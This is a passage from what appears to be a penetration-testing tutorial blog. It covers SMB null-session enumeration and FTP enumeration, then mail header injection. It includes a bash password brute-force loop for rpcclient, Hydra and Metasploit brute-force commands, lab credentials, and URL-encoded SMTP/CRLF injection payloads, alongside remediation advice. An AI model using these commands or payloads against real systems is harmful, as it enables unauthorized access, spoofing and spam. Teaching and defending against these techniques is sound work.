-r use local port 137 for scans. Win95 boxes respond to this only.

  • nbtscan 192.168.0.10 -r

rpcclient

rpcclient is a utility initially developed to test MS-RPC functionality in Samba itself

1. Display basic help

  • rpcclient –help

2. Stablish a null session, only available in SMB1

-N, –no-pass = Don’t ask for a password

  • rpcclient -U “” -N 192.168.0.10

3. Having a communication you can enumerate more than you think

  • srvinfo

  • querydominfo

  • getdompwinfo

  • netshareenum

4. Using credentials can help explore more than what null session provides

  • rpcclient -U james 10.10.10.52
  • <Password> – J@m3s_P@ssW0rd!

5. Enumerate users (RID)

  • enumdomusers

  • queryuser 0x1f4

  • lookupnames administrator

6. Enumerate groups (RID)

  • enumdomgroups

  • querygroup 0x201

  • querygroupmem 0x201

  • enumalsgroups domain

  • enumalsgroups builtin

7. Enumerate credentials

  • getdompwinfo

  • getusrdompwinfo 0x1f4

8. You can also try to brutefoce by running a command, and test passwords, we know that min_password_length is 7 char

Success

  • rpcclient -U james -c “getusername;quit” 10.10.10.52
  • rpcclient -U james%J@m3s_P@ssW0rd! -c “getusername;quit” 10.10.10.52

Failure

  • rpcclient -U james -c “getusername;quit” 10.10.10.52

Bash script

1. This script will go through a password list and test the rpcclient command until it guesses the password, then writes a file named password_result.txt with the actual hit

  • vi smb_bruteforce.sh

for i in `cat pass.txt`; do

if rpcclient -U “james%$i” -c “getusername;quit” 10.10.10.52; then

echo “$i” > password_result.txt

echo “[+] The password is $1 and has been saved in password_result.txt”

fi

done

2. Create a wordlist

  • cat pass.txt

3. Run the script

  • bash smb_bruteforce.sh

4. Read the result

  • cat password_result.txt

smbclient

1. Display help

  • smbclient –help

2. Connect

  • smbclient -L \\10.10.10.100

3. Null session

  • smbclient \\\\10.10.10.100\\ipc$
  • help

4. Log in as anonymous

  • smbclient -L //10.10.10.100/myshare -U anonymous

nullinux

Nullinux is an internal penetration testing tool for Linux that can be used to enumerate OS information, domain information, shares, directories, and users through SMB.

If no username and password are provided in the command line arguments, an anonymous login, or null session, is attempted.

https://github.com/m8r0wn/nullinux

1. Download the tool

  • git clone https://github.com/m8r0wn/nullinux.git

2. Run the install script

  • cd nullinux
  • ls
  • sudo bash setup.sh

3. Install python modules (in this case I needed ipparser)

  • sudo pip3 install ipparser

4. Run the tool, help menu

-h, –help = show this help message and exit

  • python3 nullinux.py -h

5. Basic scan

  • python3 nullinux.py 10.10.10.100

6. Using Credentials can give us more information

-u USERNAME, -U USERNAME

-p PASSWORD, -P PASSWORD

  • python3 nullinux.py -u james -p J@m3s_P@ssW0rd! 10.10.10.52

Bonus

SMB – Null Session

Net BIOS null Sessions occurs when you connect any remote system without user-name and password. It is usually found in systems with Common Internet File System (CIFS) or Server Message Block (SMB) depending on operating system.

By default null sessions are enabled in Windows 2000 and Windows NT. Actually it is also enabled by default in Windows XP and Windows 2003 Server but they don’t allow enumeration of user accounts.

Null session functionality within the SMB protocol, Null Sessions are a ‘feature’ of Windows allowing an anonymous user to connect to the IPC$ share and enumerate certain information.

Some of these shares allow one to access the complete storage device on remote systems. For example, C$ will allow one to access the C Drive. Another share, Admin$, allows one to access the Windows installation directory. Folders followed by “$” are hidden.

IPC$ is a special share that is used to facilitate inter-process communication (IPC). That is, it doesn’t allow one to access files or directories like other shares, but rather allows one to communicate with processes running on the remote system.

Connect

Windows:

  • net use \\IP_ADDRESS\ipc$ “” /user:””
  • net use \\192.168.23.1\ipc$ /u:”” “”
  • <enter>
  • net use
  • net view \\192.168.1.1

Linux:

  • rpcclient -U “” IP_ADDRESS
  • <enter>

or

  • smbclient -L //<IP ADDRESS>
  • <enter>

  • smbclient //10.10.10.100/Replication
  • recurse ON
  • prompt OFF
  • mget *

This one is used to download all the files from the share, when anonymous log in is enabled.

As an example you could get Groups.xml (deprecated on newer windows 2012, 2016)

gpp-decrypt is used against the hash

smbmap

1. SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands.

  • smbmap -H 10.10.10.100

2. Use SMB client to login to the file share that you show any permission READ/WRITE, use a fake user if it fails to connect

  • smbmap -u <any user> -H <IP ADDRESS>

3. This one below shows recursive listing. Letting us through the share files.

  • smbmap -R <Replication> -H 10.10.10.100 -A <Groups.xml> -q
  • smbmap -R -H 10.10.10.100

4. This one is for finding a file, if matches, it downloads it.

  • smbmap -d active.htb -u svc_tgs -p GPPstillStandingStrong2k18 -H 10.10.10.100

Using credentials, we may find more permissions.

While connected here are some interesting commands:

‘enumdomusers’, ‘netshareenum’, ‘netshareenumall’, ‘querydominfo’, “netsharegetinfo”, “srvinfo”, “getdompwinfo”, “enumdomgroups”, “querygroup”, “queryuser”, “lookupnames”, “queryaliasmem”, “querygroupmem”, “lookupsids”

Mounting the share to reveal the contents:

1. Create a directory to mount

  • mkdir /mnt/smb

2. mount it

  • mount -t cifs //<IP ADDRESS>/Backups /mnt/smb
  • <enter>

3. show it mounted

  • ls -lR /mnt/smb

Tools

Getacct: https://packetstormsecurity.com/search/files/?q=GetAcct

1. rpcbind

2. net use (windows)

3. enum4linux

4. nmap

5. nbtstat (windows)

6. Nmblookup

7. metasploit

(alternatives)

1. Winfo: http://www.ntsecurity.nu/toolbox/winfo/

  • Windows domain to which the system belongs
  • Security policy settings
  • Local usernames
  • Drive shares

2. DumpSec: https://www.systemtools.com/somarsoft/index.html

3. Netusers: https://www.systemtools.com/cgi-bin/download.pl?NetUsers

  • Abused account privileges
  • Users currently logged into the system

4. RID_ENUM: https://github.com/trustedsec/ridenum

Solution

This vulnerability can be mitigated by setting the DWORD value ‘RestrictAnonymous’ to 1 in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA

Block NetBIOS on your Windows server by preventing these TCP ports from passing through your network firewall or personal firewall:

  1. 139 (NetBIOS sessions services)
  2. 445 (runs SMB over TCP/IP without NetBIOS)

Disable File and Printer Sharing for Microsoft Networks in the Properties tab of the machine’s network connection for those systems that don’t need it.

Docs

https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-allow-localsystem-null-session-fallback

https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-restrict-anonymous-access-to-named-pipes-and-shares

https://www.beyondsecurity.com/scan_pentest_network_vulnerabilities_null_session_availablesmb

https://sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/

21/tcp FTP – Enumeration

FTP is a method to access and share files on the internet. The protocol is a way to communicate between computers on a TCP/IP network, FTP is a TCP based service exclusively and it is a client-server protocol where a client will communicate with a server.

“File Transfer Protocol,” can transfer files between any computers that have an Inter communication, and also works between computers using totally different operating systems.

Anonymous FTP is a type of FTP that allows users to access files and other data without needing an ID or password.

  • Transferring files from a client computer to a server computer is called “uploading”
  • Transferring from a server to a client is “downloading”

How does it work

There are two distinct communication channels while establishing an FTP connection.

  • Port 21: The first one is called the command channel where it initiates the instruction and response.
  • Port 20: The other one is called a data channel, where the distribution of data happens. The confusion begins however, when we find that depending on the mode, the data port is not always on port 20.

Types of FTP communication

he FTP server may support Active or Passive connections or both. Most FTP client programs select passive connection mode by default because server administrators prefer it as a safety measure.  Firewalls generally block connections that are “initiated” from the outside.  Using passive mode, the FTP client (like Auto FTP Manager) is “reaching out” to the server to make the connection.  The firewall will allow these outgoing connections, meaning that no special adjustments to firewall settings are required.

Active

Active FTP connection, the client opens a port and listens and the server actively connects to it.

command: client >1023 (to ->) server 21

data: client >1023 (<- to) server 20

  • In active mode FTP the client connects from a random unprivileged port (N > 1023) to the FTP server’s command port, port 21.
  • Then, the client starts listening to port N+1 and sends the FTP command PORT N+1 to the FTP server.
  • The server will then connect back to the client’s specified data port from its local data port, which is port 20.

https://slacksite.com/images/ftp/activeftp.gif

From the server-side firewall’s standpoint, to support active mode FTP the following communication channels need to be opened:

  • FTP server’s port 21 from anywhere (Client initiates connection)
  • FTP server’s port 21 to ports > 1023 (Server responds to client’s control port)
  • FTP server’s port 20 to ports > 1023 (Server initiates data connection to client’s data port)
  • FTP server’s port 20 from ports > 1023 (Client sends ACKs to server’s data port)

FTP Active vs. Passive Mode

Passive

Passive FTP connection, the server opens a port and listens (passively) and the client connects to it.  You must grant Auto FTP Manager access to the Internet and to choose the right type of FTP Connection Mode

command: client >1023 (to ->) server 21

data: client >1024 (to ->) server >1023

  • In passive mode FTP the client initiates both connections to the server, solving the problem of firewalls filtering the incoming data port connection to the client from the server.
  • When opening an FTP connection, the client opens two random unprivileged ports locally (N > 1023 and N+1). The first port contacts the server on port 21, but instead of then issuing a PORT command and allowing the server to connect back to its data port, the client will issue the PASV command.
  • The result of this is that the server then opens a random unprivileged port (P > 1023) and sends P back to the client in response to the PASV command. The client then initiates the connection from port N+1 to port P on the server to transfer data.

From the server-side firewall’s standpoint, to support passive mode FTP the following communication channels need to be opened:

  • FTP server’s port 21 from anywhere (Client initiates connection)
  • FTP server’s port 21 to ports > 1023 (Server responds to client’s control port)
  • FTP server’s ports > 1023 from anywhere (Client initiates data connection to random port specified by server)
  • FTP server’s ports > 1023 to remote ports > 1023 (Server sends ACKs (and data) to client’s data port)

http://2.bp.blogspot.com/_I1ZBNiAGCBw/TAJ0yNwZbUI/AAAAAAAAADQ/_fM29y9oYfs/s400/FTP+Passive+Mode.gif

FTP command table

Task

DOS Command

Notes

Change user password on a site

Literal SITE PSWD oldpassword newpassword

“Literal” sends a command line to the remote FTP connection and executes the SITE PSWD command.

Connect to the specified FTP host on the specified port

open [host] [port]

For example, type:

open myftpsite.com 21

Navigate to a different directory on remote machine

cd [directory]

For example, type:

cd M:\InetPub\EFTRoot\MySite\Usr\jbug

Change to parent directory

cdup

Same as cd ..\

Changes directory on local machine

lcd [path]

For example, type lcd c:\temp.

Displays a list of files and folders in the current remote directory

dir [path]

ls [directory] [localfile]

For example, type:

dir M:\InetPub\EFTRoot\MySite\Usr\jbug

or

ls M:\InetPub\EFTRoot\MySite\Usr\jbug C:\temp\contents.txt

Creates a directory on the remote file system

mkdir [name]

For example, to create a folder into which you will upload your graphics files, type:

mkdir images

Copies a file from the local to the remote computer

put [filename.ext]

To upload the file with a different name, use

put oldfilename.ext newfilename.ext

Copies multiple files from the local to the remote computer

mput [files]

Puts multiple files; *.* puts all files; *.txt puts all .txt files, my_*.* puts all files that start with my_ with any extension.

Copies a file from the remote to the local computer

get [filename.ext]

For example, type:

get dog.jpg

Copies multiple files from the remote to the local computer

mget [files]

Gets multiple files; *.* gets all files; *.txt gets all .txt files, my_*.* gets all files that start with my_ with any extension.

Deletes a file

delete [filename.ext]

For example, type:

delete dog.jpg

Renames a file

rename [filename] [filename]

For example, to rename a picture of your dog, Pooh Bear, type:

rename dog.jpg PoohBear.jpg

Removes a directory on the remote computer

rmdir [name]

For example, type:

rmdir olddogpics

List current working directory

pwd

Use when you forget which directory you are in or if you want to copy the path

Close connection

bye (or quit)

Disconnect from remove FTP server

List of available commands or help for a specific command

help

help [command]

? [command]

help by itself lists available FTP commands; help [command] or ? [command] provides help for the specific command

Change transfer mode to ASCII

ascii

Used for HTML and text files

Change transfer mode to binary

binary

Used for graphics, compressed files, audio clips, etc.

Displays current transfer mode (ASCII or binary)

status

Query the status of files, transfers in process, and other system information. The STAT command implemented on some FTP servers could allow a remote attacker to obtain sensitive information; therefore, it is disabled on some servers.

Enable/disable prompts

prompt

Use this command if you do not want to be prompted for each file transfer when transferring multiple files.

Enumeration

Nmap

1. Basic enumeration scan

  • nmap -p 21 -A -sV -sC 192.168.0.7

2. Using NSE scripts

  • nmap -p 21 –script ftp-anon,ftp-bounce,ftp-brute,ftp-libopie,ftp-proftpd-backdoor,ftp-syst,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221 192.168.0.7

Metasploit

1. Enumerate banner

  • use auxiliary/scanner/ftp/ftp_version
  • show options
  • set RHOSTS 192.168.0.7
  • exploit

Secure banner: Edit the config file located in /etc, in our case it is named vsftpd.conf, enable custom banner, by uncommenting the line:

Before

After

Then restart the service and test again.

2. Brute force with Metasploit

  • use auxiliary/scanner/ftp/ftp_login
  • show options
  • set blank_passwords true
  • set RHOSTS 192.168.0.7
  • set USERNAME anonymous
  • exploit

You can set password, username lists, stop on success, etc.

3. Find the privileges of anonymous login

  • use auxiliary/scanner/ftp/anonymous
  • show options
  • set rhosts 192.168.0.7
  • exploit

Connect using FTP command

1. Once, the username & password are identified. Or if anonymous log in is enabled. Access the remote service

  • ftp 192.168.0.10
  • USER: anonymous
  • PASS: anonymous

2. Once authenticated, you are permitted to run commands depending on permissions of the user.

  • pwd
  • dir
  • get lol.pcap

3. Since, we have read permission we could download the file

  • ls -l lol.pcap

Hydra

You can brute force log in using hydra

  • hydra -s 21 -C /usr/share/legion/wordlists/ftp-default-userpass.txt -u -f 192.168.0.7 ftp

There are other methods to enumerate ftp like capturing network traffic, sometime ftp is sent over insecure networks.

Once, you get log in you can explore and navigate through the file system, read or even write files.

I captured traffic using Wireshark and I see the log in messages flowing through the network

SMTP Injection attack

Mail Command Injection is an attack technique used to exploit mail servers and webmail applications that construct IMAP/SMTP statements from user-supplied input that is not properly sanitized. an attack technique that injects attacker-controlled SMTP commands into the data transmitted from an application (typically a web application) to an SMTP server for spamming purposes.

http://projects.webappsec.org/w/page/13246948/Mail%20Command%20Injection

IMAP/SMTP structure

  • Header: ending of the expected command;
  • Body: injection of the new command(s);
  • Footer: beginning of the expected command.

This behavior can be exploited to send copies of emails to third parties, attach viruses, deliver phishing attacks, and often alter the content of emails. It is typically exploited by spammers looking to leverage the vulnerable company’s reputation to add legitimacy to their emails.

Common uses of SMTP in websites

  • Submit messages via the application, such as to report a problem to support personnel
  • Provide feedback about the website.
  • This facility is usually implemented by interfacing with a mail (or SMTP) server.
  • Typically, user-supplied input is inserted into the SMTP.

How SMTP Works

To understand how SMTP works, you need to first understand the difference between the envelope and the email body.

  • The envelope is the initial part of the communication and it is part of the actual SMTP protocol.

The following commands are part of the envelope

  • MAIL FROM: This command sets the envelope sender. (focus on this)
  • RCPT TO: This command sets the envelope recipient. It can be used multiple times if you want the message to reach many people at once.
  • DATA: This command begins the email payload.

The payload contains email headers and the message body separated by a single empty line. (\n on most UNIX and Linux systems, \r\n on Windows systems)

The email headers are not part of the SMTP protocol. They are interpreted by the mail client (the web application & some email handling libraries in programming languages.)

> MAIL FROM:<mail@vk9sec.com>

< 250 OK

> RCPT TO: <john@vk9sec.com>

< 250 OK

> RCPT TO:<lucy@vk9sec.com>

< 250 OK

> DATA

< 354 Send message content; end with <CRLF>.<CRLF>

> Content-Type: text/html

> Date: Wed, 25 D 2020 00:00:01

> From: Bryan <vry4n@vk9sec.com>

> Subject: Are you on vacation?

> To: everyone <everyone@vk9sec.com >

>

> Hello!

> I didn’t see you online!

> —

> Bryan

> .

< 250 OK

The above email would be received by john@vk9sec.com and lucy@vk9sec.com. However, they would see that it was sent by Bryan <vry4n@vk9sec.com> (not mail@vk9sec.com) and they would see that the recipient is everyone <everyone@vk9sec.com>

“<CRLF>.<CRLF>” used to terminate data

“<CRLF>” used to separate the RCPT TO values

Normal value:

  • Rcpt to:vry4n@vk9sec.com

Injected:

  • Rcpt to:vry4n@vk9sec.com>[CRLF]DATA[CRLF](message content)[CRLF].[CRLF]QUIT[CRLF]

the traditional attack vectors like the following

rcpt to: vryan@vk9sec.com[CRLF]Cc: johnnny@vk9sec.com

ASCII Character Set and Hexadecimal Values

https://www.cisco.com/c/en/us/td/docs/ios/12_4/cfg_fund/command/reference/cfnapph.html

46 2E . . .
10 0A LF Line feed Ctrl-J
13 0D CR Carriage return (Equivalent to the Enter or Return key) Ctrl-M
32 20 SP Space Space

%0d%0a = [CRLF]

Example

From=daf@vk9sec.com&Subject=Site+feedback%0d%0aSometext%0d%0a%2e%0d%0aMAIL+FROM:+mail@vk9sec.com%0d%0aRCPT+TO:+john@vk9sec.com%0d%0aDATA%0d%0aFrom:+mail@vk9sec.com%0d%0aTo:+john@vk9sec.com%0d%0aSubject:+Cheap+books%0d%0aHi There%0d%0a%2e%0d%0a&Message=hello

That will translate as

  • MAIL From=daf@vk9sec.com
  • Subject=Site feedback
  • Sometext
  • .
  • MAIL FROM: mail@vk9sec.com
  • RCPT TO: john@vk9sec.com
  • DATA
  • From: mail@vk9sec.com
  • To: john@vk9sec.com
  • Subject: Cheap books
  • Hi There
  • .
  • Hello
  • .

SMTP commands

HELO Specify your domain name so that the mail server knows who you are. E.g. HELO example.com
MAIL Specify the sender email. E.g. MAIL FROM: <example@example.com>
RCPT Specify the recipient. Issue this command multiple times if you have more than one recipient. E.g. RCPT TO: <example2@example.com>
DATA Issue this command before sending the body of the message. The message body must end with the following five letter sequence: “\r\n.\r\n.”
QUIT Terminates the conversation with the server.
EXPN Specify that your recipient is a mailing list.
HELP Asks for help from the mail server.
NOOP Does nothing except to get a response from the server.
RSET Aborts the current conversation and start a new conversation.
SEND Sends a message to a user’s terminal instead of a mailbox.
SAML Sends a message to a user’s terminal and to a user’s mailbox.
SOML Sends a message to a user’s terminal if they are logged on; otherwise, sends the message to the user’s mailbox.
TURN Reverses the role of client and server. This might be useful if the client program can also act as a server and needs to receive mail from the remote computer.
VRFY Verifies that a particular user name of a given mail address exists. Not supported by all mail servers.

Header injection

E-mail Header Injection can be considered as the e-mail equivalent of HTTP Header Injection. this vulnerability exists in the implementation of the built-in mail functionality in popular languages such as

PHP = mail()

[SP] = Space

[LF] = Line feed

[CR] = equivalent to “enter” new line

rcpt to=([CRLF][SP]RCPT TO:vry4n@vk9sec.com[CRLF][SP]DATA \[LF]Subject: spam10\[LF][CRLF][SP]Hello,this is a spam mail…\[LF].[CRLF][SP]QUIT[CRLF][SP]) john@vk9sec.com

Will show as

  • RCPT TO:<(
  • [SP]RCPT TO:vry4n@vk9sec.com
  • [SP]DATA\
  • Subject: spam10\
  • [SP]Hello, this is a spam mail…\
  • [SP]QUIT
  • [SP]) john@vk9sec.com>

The former command with a leading space is confirmed to be interpreted normally, and the latter command followed by backslash

Java = JavaMail API

  • rcpt to= “>[CRLF]RCPT TO:vry4n@vk9sec.com[CRLF]DATA[CRLF](message content)[CRLF].[CRLF]QUIT[CRLF]”@vk9sec.com

Will show as

  • RCPT TO:<“>
  • RCPT TO:vry4n@vk9sec.com
  • DATA
  • (message content)
  • QUIT
  • “@vk9sec.com>

Python = email.header

Ruby = Net::SMTP, Mail

  • rcpt to:vry4n@vk9sec.com[CRLF]DATA[CRLF](message content)[CRLF].[CRLF]QUIT[CRLF]

Since E-mail Header Injection is caused due to improper or nonexistent sanitization of user input.

The format of e-mail messages is defined by the Simple Mail Transfer Protocol (SMTP). Each e-mail message is represented by a series of headers separated by newlines, followed by the body content (separated from the headers by two newlines).

Header components

  • From
  • To
  • Date
  • Subject
  • CC
  • BCC, etc

With the proper injection string, E-mail Header Injection vulnerabilities can be exploited by an attacker to inject additional headers, modify existing headers, or alter the contents of the e-mail.

Result of compromise

  • An attacker can perform e-mail spoofing
  • Running phishing campaigns that are sent from the actual mail server
  • Spam Networks
  • Information Extraction
  • Denial of Service

Finding SMTP Injections flaws

1. You should submit each of the following test strings as each parameter in turn, inserting your own e-mail address at the relevant position

  • <youremail>%0aCc:<youremail>
  • <youremail>%0d%0aCc:<youremail>
  • <youremail>%0aBcc:<youremail>
  • <youremail>%0d%0aBcc:<youremail>
  • %0aDATA%0afoo%0a%2e%0aMAIL+FROM:+<youremail>%0aRCPT+TO:+<youremail>%0aDATA%0aFrom:+<youremail>%0aTo:+<youremail>%0aSubject:+test%0afoo%0a%2e%0a
  • %0d%0aDATA%0d%0afoo%0d%0a%2e%0d%0aMAIL+FROM:+<youremail>%0d%0aRCPT+TO:+<youremail>%0d%0aDATA%0d%0aFrom:+<youremail>%0d%0aTo:+<youremail>%0d%0aSubject:+test%0d%0afoo%0d%0a%2e%0d%0a

2. Note any error messages the application returns. If these appear to relate to any problem in the e-mail function, investigate whether you need to fine-tune your input to exploit a vulnerability

3. The application’s responses may not indicate in any way whether a vulnerability exists or was successfully exploited. You should monitor the e-mail address you specified to see if any mail is received

4. Review closely the HTML form that generates the relevant request. This may contain clues about the server-side software being used. It may also contain a hidden or disabled field that specifies the e-mail’s To address, which you can modify directly.

Exploitation

1. Locate the email form

2. Here, users can specify a “From” address and the contents of the message. The application passes this input to the PHP mail() command, which constructs the e-mail and performs the necessary SMTP conversation with its configured mail server.

3. Utilize the application normally, to test functionality

  • To: bwapp@mailinator.com
  • From: vry4n@vk9security.com
  • Subject: Hello There

5. Capture the request with a web proxy, in this case BurpSuite, This is a benign request

This will cause the following

  • MAIL FROM: vry4n@vk9security.com
  • RCPT TO: bwapp@mailinator.com
  • DATA
  • From: vry4n@vk9security.com
  • To: bwapp@mailinator.com
  • Subject:
  • Hello There
  • .

6. Now capture a new request and inject a BCC, CC line using new line character “%0a” or “\n”

  • name=Vry4n+Unknown&email=vry4n%40vk9security.com%0d%0a bcc:bwapp%40mailinator.com&remarks=Hello+There&form=submit
  • name=Vry4n+Unknown%0d%0abcc:bwapp%40mailinator.com&email=vry4n%40vk9security.com&remarks=Hello+There&form=submit

This will make the mailing server to forward the request also to the injected address

Remediation: SMTP header injection

Validate that user input conforms to a whitelist of safe characters before placing it into email headers. In particular, input containing newlines and carriage returns should be rejected. Alternatively, consider switching to an email library that automatically prevents such attacks.

  • E-mail addresses should be checked against a suitable regular expression (which should, of course, reject any newline characters
  • The message subject should not contain any newline characters, and it may be limited to a suitable length
  • If the contents of a message are being used directly in an SMTP conversation, lines containing just a single dot should be disallowed